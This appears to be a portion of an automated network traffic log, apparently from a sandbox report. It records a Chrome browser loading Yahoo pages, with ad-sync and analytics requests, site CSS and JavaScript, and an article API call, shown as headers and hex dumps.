2024-04-27 22:41:53 UTC	450	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 65 Connection: close Server: awselb/2.0 Date: Sat, 27 Apr 2024 16:04:23 GMT X-Cache: Hit from cloudfront Via: 1.1 ff2d6deff1b50282a21f4b199088c76e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD61-P3 X-Amz-Cf-Id: x_8Qf9tb5M6nr2EHo-8_sf-aqnXpqEDRLiICU4uo5Gv4IimkIv0AiA== Age: 23850 Ad-Auction-Allowed: true X-Allow-FLEDGE: true Access-Control-Allow-Origin: *
2024-04-27 22:41:53 UTC	65	IN	Data Raw: 7b 0a 20 20 22 6a 6f 69 6e 41 64 49 6e 74 65 72 65 73 74 47 72 6f 75 70 22 3a 20 74 72 75 65 2c 0a 20 20 22 6c 65 61 76 65 41 64 49 6e 74 65 72 65 73 74 47 72 6f 75 70 22 3a 20 74 72 75 65 0a 7d Data Ascii: { "joinAdInterestGroup": true, "leaveAdInterestGroup": true}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49862	3.225.218.10	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	912	OUT	GET /ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B; IDSYNC=19cw~2i3y
2024-04-27 22:41:53 UTC	445	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:53 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19cw~2i3y:19e0~2i3y";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Sun, 27-Apr-2025 22:41:53 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.112
2024-04-27 22:41:53 UTC	71	IN	Data Raw: 33 63 0d 0a 7b 22 61 78 69 64 22 3a 20 22 65 53 31 77 5a 6a 6c 54 5a 6b 78 4f 52 54 4a 31 52 6c 46 6e 55 48 51 33 55 31 6b 78 4e 6c 63 75 5a 6b 78 76 63 48 6f 79 56 54 4e 7a 51 58 35 42 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3c{"axid": "eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49863	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	603	OUT	GET /aaq/fp/css/react-wafer-weather.common.desktop.a03361886464b469acd3a16cfbd022ed.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:53 UTC	813	IN	HTTP/1.1 200 OK x-amz-id-2: j5SVUmnWBoxZ9fGXJmFuBhexSJ0GaEXWOOEo+cwUCrB8Ul/7D5F6J+7S54b4InUsUHzOJLHXE0M= x-amz-request-id: BN4CVZYPFP4R2SWZ Date: Sat, 27 Apr 2024 22:29:47 GMT Last-Modified: Wed, 03 Aug 2022 09:53:05 GMT ETag: "a03361886464b469acd3a16cfbd022ed" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: vYBRHK1nkH1zZI3a6Ga3.sb6tkLNfuQZ Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 3735 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 727 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 74 72 61 Data Ascii: @-webkit-keyframes spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(360deg);tra
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 64 65 72 2d 77 69 64 74 68 3a 30 20 30 20 31 70 78 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 73 63 6f 6f 74 65 72 29 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 38 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 36 70 78 20 36 70 78 20 30 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 73 61 76 65 64 2d 69 74 65 6d 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 72 6d 61 6c 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6c 69 67 Data Ascii: der-width:0 0 1px;color:var(--scooter);line-height:18px;overflow:hidden;padding:6px 6px 6px 0;text-overflow:ellipsis;white-space:nowrap}.wafer-autocomplete-saved-item{white-space:normal;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-alig
2024-04-27 22:41:53 UTC	1135	IN	Data Raw: 6e 20 2e 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 69 74 65 6d 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 77 72 61 70 3a 6e 6f 2d 77 72 61 70 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 23 6c 6f 63 6b 65 72 57 65 61 74 68 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 73 75 67 67 65 73 74 69 6f 6e 73 20 2e 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 69 74 65 6d 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 36 70 78 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 36 70 78 7d 23 67 72 69 64 2d 6c 61 79 6f 75 74 20 2e 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 69 74 65 6d 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 61 74 63 61 76 65 29 3b 62 6f 72 64 65 72 3a 30 Data Ascii: n .wafer-autocomplete-item{display:flex;flex-wrap:no-wrap;justify-content:space-between}#lockerWeather-autocomplete-suggestions .wafer-autocomplete-item{padding-top:6px;padding-bottom:6px}#grid-layout .wafer-autocomplete-item{color:var(--batcave);border:0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49865	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	541	OUT	GET /aaq/wf/wf-template-1.4.3-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:53 UTC	827	IN	HTTP/1.1 200 OK x-amz-id-2: mePOGDLjVQzUtsRkYNdDDRRuTUEKPkf+Ar18MYaS26ptKa7PvVEHW4F43d3PaVzpsgVVdRfCOGg= x-amz-request-id: 7P3C6ACS32H8EQFV Date: Sat, 27 Apr 2024 22:29:54 GMT Last-Modified: Wed, 21 Sep 2022 02:22:21 GMT ETag: "85070595d47a7cc86af31833110dc18a" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: h9L3Y9Rw_EkQ1yH8NskMO9BjqcI4jexa Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 7907 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 720 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 74 65 6d 70 6c 61 74 65 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 74 65 6d 70 6c 61 74 65 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-template",[],t):"object"==typeof exports?exports["wafer-template"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafe
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 Data Ascii: t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a cla
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 70 74 6f 72 28 74 2c 72 29 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 6f 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 61 3f 76 6f 69 64 20 30 3a 65 28 61 2c 72 2c 6e 29 7d 69 66 28 22 76 61 6c 75 65 22 69 6e 20 6f 29 72 65 74 75 72 6e 20 6f 2e 76 61 6c 75 65 3b 76 61 72 20 69 3d 6f 2e 67 65 74 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 69 29 72 65 74 75 72 6e 20 69 2e 63 61 6c 6c 28 6e 29 7d 2c 70 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2c 64 3d 70 2e 62 61 73 65 2c 76 3d 70 2e 63 6f 6e 73 74 61 6e 74 73 2c 6d 3d 70 2e 57 61 66 65 72 42 61 73 65 43 6c 61 73 73 2c 77 3d 70 2e 75 74 69 6c 73 2c 79 3d 77 2e 67 65 74 54 65 6d 70 6c 61 74 65 43 6f 6e 74 65 6e 74 2c 68 3d 77 Data Ascii: ptor(t,r);if(void 0===o){var a=Object.getPrototypeOf(t);return null===a?void 0:e(a,r,n)}if("value"in o)return o.value;var i=o.get;if(void 0!==i)return i.call(n)},p=window.wafer,d=p.base,v=p.constants,m=p.WaferBaseClass,w=p.utils,y=w.getTemplateContent,h=w
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 4c 69 73 74 65 6e 65 72 73 28 29 2c 66 7d 72 65 74 75 72 6e 20 61 28 74 2c 65 29 2c 75 28 74 2c 5b 7b 6b 65 79 3a 22 72 65 6e 64 65 72 54 65 6d 70 6c 61 74 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 6e 3d 72 2e 61 6c 6c 6f 77 52 65 72 65 6e 64 65 72 2c 6f 3d 72 2e 65 6c 65 6d 2c 61 3d 72 2e 73 75 63 63 65 73 73 43 6c 61 73 73 2c 69 3d 72 2e 74 61 72 67 65 74 53 65 6c 65 63 74 6f 72 2c 73 3d 72 2e 74 65 6d 70 6c 61 74 65 54 65 78 74 2c 6c 3d 72 2e 74 65 6d 70 6c 61 74 65 49 64 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 72 2c 63 29 7b 76 61 72 20 75 3d 69 3f 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 69 29 3a 6f 3b 6f Data Ascii: Listeners(),f}return a(t,e),u(t,[{key:"renderTemplate",value:function(e){var r=this._util,n=r.allowRerender,o=r.elem,a=r.successClass,i=r.targetSelector,s=r.templateText,l=r.templateId;return new Promise(function(r,c){var u=i?document.querySelector(i):o;o
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 66 65 72 2e 6f 6e 28 72 2c 65 2e 6f 6e 57 61 66 65 72 45 76 65 6e 74 29 3b 61 26 26 66 28 74 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 65 29 2e 63 61 6c 6c 28 65 29 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 63 6c 69 63 6b 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 2d 31 21 3d 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 65 76 65 6e 74 73 2e 69 6e 64 65 78 4f 66 28 22 63 6c 69 63 6b 22 29 26 26 74 68 69 73 2e 72 65 6e 64 65 72 54 65 6d 70 6c 61 74 65 28 22 63 6c 69 63 6b 22 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 6f 6e 57 Data Ascii: fer.on(r,e.onWaferEvent);a&&f(t.prototype.__proto__\|\|Object.getPrototypeOf(t.prototype),"addEventListeners",e).call(e)})}},{key:"click",value:function(){-1!==this._util.events.indexOf("click")&&this.renderTemplate("click").catch(function(e){})}},{key:"onW
2024-04-27 22:41:53 UTC	1013	IN	Data Raw: 74 65 72 22 5d 5d 2c 6d 6f 75 73 65 6c 65 61 76 65 3a 5b 5b 22 5f 73 65 6c 66 22 2c 22 6d 6f 75 73 65 6c 65 61 76 65 22 5d 5d 7d 3b 76 61 72 20 54 3d 4f 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 6e 3d 74 5b 72 5d 3b 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 6e 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 6e 26 26 28 6e 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e 2e 6b 65 79 2c 6e 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6e 29 7b 72 Data Ascii: ter"]],mouseleave:[["_self","mouseleave"]]};var T=O,k=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable\|\|!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){r
2024-04-27 22:41:53 UTC	394	IN	Data Raw: 64 61 74 65 57 69 74 68 54 68 72 6f 74 74 6c 65 28 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 52 65 73 69 7a 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 76 61 6c 69 64 61 74 65 57 69 74 68 54 68 72 6f 74 74 6c 65 28 29 7d 7d 2c 7b 6b 65 79 3a 22 77 69 6c 6c 56 61 6c 69 64 61 74 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 73 74 61 74 65 2e 65 6c 65 6d 65 6e 74 49 6e 73 74 61 6e 63 65 73 3b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 74 2e 67 65 74 28 65 29 2c 6e 3d 72 2e 69 6e 73 74 61 6e 63 65 3b 6e 2e 63 6f 6e 66 69 67 2e 76 69 65 77 70 6f 72 74 54 72 69 67 67 65 72 26 26 43 28 65 2c 7b 6f 66 66 73 65 74 58 3a 30 2c 6f 66 Data Ascii: dateWithThrottle()}},{key:"handleResize",value:function(){this._validateWithThrottle()}},{key:"willValidate",value:function(e){var t=this._state.elementInstances;e.forEach(function(e){var r=t.get(e),n=r.instance;n.config.viewportTrigger&&C(e,{offsetX:0,of

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49869	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	1598	OUT	GET /caas/content/article/?uuid=ed2efbf7-2409-3dd8-9184-510525a2f72c,0faa4615-2120-3751-857c-024e291eeb87,d098fa67-1f57-32a9-a8c8-0b53747f9c8c&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1sbetl5j2qvpa HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B
2024-04-27 22:41:54 UTC	1273	IN	HTTP/1.1 200 OK x-powered-by: Express access-control-allow-credentials: true access-control-allow-methods: GET, OPTIONS access-control-allow-headers: Origin, X-Requested-With, Content-Type, Accept content-type: application/json; charset=utf-8 content-length: 120914 etag: W/"1d852-CZ6wtMRtqUv7cFwFAejL7S71qNA" vary: Accept-Encoding date: Sat, 27 Apr 2024 22:41:54 GMT x-envoy-upstream-service-time: 47 server: ATS Age: 2 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.pnr.ouryahoo.com https://pnr.ouryahoo.com https://.search.aol.com https://.search.huffpost.com https://.onesearch.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=24mu46tj2qvph&partner=; X-Frame-Options: SAMEORIGIN
2024-04-27 22:41:54 UTC	242	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 65 72 72 65 72 2d 77 68 65 6e 2d 64 6f 77 6e 67 72 61 64 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Referrer-Policy: no-referrer-when-downgradeConnection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 7b 22 69 74 65 6d 73 22 3a 5b 7b 22 64 61 74 61 22 3a 7b 22 70 61 72 74 6e 65 72 44 61 74 61 22 3a 7b 22 61 64 4d 65 74 61 22 3a 7b 22 68 61 73 68 74 61 67 22 3a 22 66 6f 6f 74 62 61 6c 6c 22 2c 22 69 73 53 75 70 70 6c 79 53 65 67 6d 65 6e 74 22 3a 22 66 61 6c 73 65 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 72 73 22 3a 22 6c 6d 73 69 64 3a 61 30 61 64 30 30 30 30 30 30 45 63 52 33 4a 41 41 56 3b 72 65 76 73 70 3a 61 70 2e 6f 72 67 3b 6c 70 73 74 61 69 64 3a 65 64 32 65 66 62 66 37 2d 32 34 30 39 2d 33 64 64 38 2d 39 31 38 34 2d 35 31 30 35 32 35 61 32 66 37 32 63 3b 70 74 3a 63 6f 6e 74 65 6e 74 3b 70 64 3a 6d 6f 64 61 6c 3b 76 65 72 3a 6d 65 67 61 73 74 72 6d 3b 70 63 74 3a 73 74 6f 72 79 22 2c 22 73 Data Ascii: {"items":[{"data":{"partnerData":{"adMeta":{"hashtag":"football","isSupplySegment":"false","lang":"en-US","region":"US","rs":"lmsid:a0ad000000EcR3JAAV;revsp:ap.org;lpstaid:ed2efbf7-2409-3dd8-9184-510525a2f72c;pt:content;pd:modal;ver:megastrm;pct:story","s
